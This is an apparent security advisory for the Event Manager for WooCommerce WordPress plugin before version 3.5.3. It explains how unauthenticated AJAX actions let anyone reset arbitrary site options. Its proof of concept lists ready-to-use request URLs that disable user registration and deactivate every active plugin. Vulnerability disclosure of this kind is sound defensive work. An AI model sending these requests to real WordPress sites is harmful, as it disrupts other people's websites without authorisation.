Event Manager for WooCommerce < 3.5.3 – Unauthenticated Arbitrary Options Reset

Description

The plugin has two AJAX actions, mep_wl_ajax_license_activate and mep_wl_ajax_license_deactivate, which are available to both unauthenticated and authenticated users, and are lacking any authorisation, CSRF as well as checks to ensure that the options to be updated belong to the plugin. As a result, unauthenticated users can reset arbitrary blog options (as they will be set to ''), for example disabling the user registration, or disabling all active plugins.

Proof of Concept

To disable user registration:
- https://example.com/wp-admin/admin-ajax.php?action=mep_wl_ajax_license_deactivate&key_option_name=users_can_register
- https://example.com/wp-admin/admin-ajax.php?action=mep_wl_ajax_license_activate&key_option_name=users_can_register

To disable all plugins: https://example.com/wp-admin/admin-ajax.php?action=mep_wl_ajax_license_deactivate&key_option_name=active_plugins